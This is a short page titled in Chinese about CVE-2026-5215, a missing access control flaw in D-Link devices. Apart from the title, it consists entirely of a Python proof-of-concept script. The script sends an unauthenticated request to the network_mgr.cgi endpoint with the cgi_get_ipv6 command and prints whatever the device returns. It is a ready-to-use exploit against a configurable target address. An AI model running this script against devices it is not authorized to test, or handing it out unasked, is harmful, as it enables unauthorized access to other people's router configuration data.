CVE-2026-5215 D-Link设备访问控制缺失漏洞

import requests # PoC for CVE-2026-5215: Improper Access Control in D-Link Devices # Description: Accessing cgi_get_ipv6 without authentication target_ip = "192.168.1.1" # Replace with the target IP address url = f"http://{target_ip}/cgi-bin/network_mgr.cgi" # The vulnerable command payload = { "cmd": "cgi_get_ipv6" } try: print(f"[*] Attempting to connect to {target_ip}...") response = requests.get(url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request successful! The target might be vulnerable.") print("[+] Response content:") print(response.text) else: print(f"[-] Received status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")